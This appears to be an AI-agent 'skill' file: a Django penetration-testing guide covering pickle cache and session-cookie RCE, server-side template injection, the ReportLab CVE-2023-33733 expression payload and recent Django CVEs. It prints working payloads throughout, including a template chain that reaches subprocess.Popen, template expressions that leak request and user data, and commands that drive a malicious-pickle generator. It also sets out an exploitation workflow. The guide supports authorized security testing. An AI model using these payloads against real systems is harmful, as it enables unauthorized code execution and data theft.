Django Pentesting Skill

A comprehensive guide for testing Django applications for security vulnerabilities, including cache manipulation, SSTI, pickle deserialization, and recent CVEs.

When to Use This Skill

Use this skill when:

• Testing Django web applications for security vulnerabilities
• Investigating potential SSTI (Server-Side Template Injection) issues
• Analyzing Django cache configurations for RCE vectors
• Testing session cookie security and pickle deserialization
• Checking for known Django CVEs (2023-2025)
• Performing web application penetration testing on Python/Django stacks

Attack Vectors Overview

1. Cache Manipulation to RCE

Django's default cache uses Python pickles, which can lead to RCE if untrusted input is unpickled.

Cache Storage Locations:

• Redis (most common attack vector via Redis injection)
• Memory (locmem)
• Files (FileBasedCache)
• Database (db backend)

FileBasedCache Exploitation:

If the cache directory is world-writable or attacker-controlled, you can drop a malicious pickle file:

# Check cache location in settings.py
# CACHES['default']['LOCATION'] - often /var/tmp/django_cache/

# Test if directory is writable
ls -la /var/tmp/django_cache/

# Generate malicious pickle (use the bundled script)
python scripts/generate_pickle_payload.py \
  --output /var/tmp/django_cache/cache:malicious \
  --command "id > /tmp/pwned"

Database Cache Exploitation:

For SQLite database cache, use SQL injection to insert malicious pickled data. See the HackerOne report for a reproducible example: https://hackerone.com/reports/1415436

2. Server-Side Template Injection (SSTI)

Django Template Language (DTL) is Turing-complete. If user data is rendered as a template string, SSTI → RCE is possible.

Detection Steps:

1. Identify dynamic template rendering:

   • Look for

     Template()

     ,

     Engine.from_string()

     ,

     render_to_string()

     calls
   • Check for unsanitized request data in templates
   • Watch for

     |safe

     or

     format_html()

     filters

2. Send test payloads:

   {{7*7}}  # Should render as 49 if SSTI exists
   {{request}}  # Confirms SSTI, leaks request object
   

3. Use polyglot probes:

   ${{<%[%'"}}%
   

   This crashes or renders, proving evaluation.

Context Exfiltration:

Even when RCE is blocked, you can extract data:

{{ request.META }}           # Leak headers, cookies, proxy info
{{ users }}                  # QuerySet in context?
{{ users.0 }}                # First row
{{ users.values }}           # Dump all columns (emails, passwords if plaintext)

Primitive to RCE:

Django blocks

__import__

but the object graph is reachable:

{{''.__class__.mro()[1].__subclasses__()}}

Find

subprocess.Popen

index (≈400-500) and execute:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Automation Pattern:

1. Authenticate to the application
2. Grab CSRF token
3. Save marker-prefixed payload in persistent field (username, bio)
4. Request view that renders it (AJAX endpoints like

   /likes/<id>

   )
5. Parse stable attribute (e.g.,

   title="..."

   ) to recover rendered result
6. Iterate payloads

3. Pickle-Backed Session Cookie RCE

If

SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'

is enabled, possessing the

SECRET_KEY

enables immediate RCE.

Exploit Requirements:

• Server uses

  PickleSerializer

• Attacker knows/guesses

  settings.SECRET_KEY

Generate Malicious Cookie:

python scripts/generate_pickle_payload.py \
  --mode session \
  --secret-key "YOUR_SECRET_KEY" \
  --command "id > /tmp/pwned"

Send the resulting

sessionid

cookie to the application.

Mitigations to Check:

• Default should be

  JSONSerializer

• SECRET_KEY

  should be rotated

• SESSION_COOKIE_HTTPONLY

  should be configured

4. ReportLab/xhtml2pdf PDF Export RCE

Applications using xhtml2pdf/ReportLab for PDF export may be vulnerable to CVE-2023-33733.

Exploitation:

User-controlled HTML flowing into PDF generation may evaluate expressions in triple brackets:

[[[ import os; os.system('id') ]]]

Test:

1. Find PDF export endpoints
2. Submit HTML with triple-bracket expressions
3. Check for code execution

5. Recent High-Impact Django CVEs

CVE-2025-48432 – Log Injection via unescaped

request.path

• Fixed: June 4, 2025
• Patch level: ≥ 4.2.22 / 5.1.10 / 5.2.2
• Allows log poisoning with newlines/ANSI codes

CVE-2024-42005 – SQL Injection in

QuerySet.values()/values_list()

on

JSONField

• CVSS: 9.8
• Fixed: 4.2.15 / 5.0.8
• Craft JSON keys to break out of quoting

Version Fingerprinting:

# Check X-Frame-Options header
# Check /static/admin/css/base.css hash
# Use the bundled script
python scripts/enumerate_django_version.py --target https://target.com

Testing Workflow

Phase 1: Reconnaissance

1. Identify Django application
2. Fingerprint version
3. Map endpoints and functionality
4. Check for PDF export features
5. Review cache configuration if accessible

Phase 2: Vulnerability Testing

1. Test for SSTI with arithmetic payloads
2. Check session cookie serialization
3. Test cache write access
4. Probe for known CVEs based on version
5. Test PDF export endpoints

Phase 3: Exploitation

1. Use appropriate payload based on vulnerability
2. Generate pickle payloads for cache/session attacks
3. Chain SSTI to RCE if possible
4. Document findings

Scripts

generate_pickle_payload.py

Generates malicious pickle payloads for cache or session cookie attacks.

Usage:

python scripts/generate_pickle_payload.py --help

enumerate_django_version.py

Fingerprints Django version from static files and headers.

Usage:

python scripts/enumerate_django_version.py --target https://target.com

Safety and Ethics

• Only test applications you have authorization to assess
• Document all findings for remediation
• Use non-destructive payloads in initial testing
• Report vulnerabilities responsibly

References

• Django Security Releases: https://docs.djangoproject.com/en/stable/releases/
• CVE-2025-48432: Django 5.2.2, 5.1.10, 4.2.22
• CVE-2024-42005: SQL injection in JSONField
• CVE-2023-33733: ReportLab/xhtml2pdf RCE
• Django QuerySet.values(): https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values
• HackerOne Report 1415436: Django cache SQLite exploitation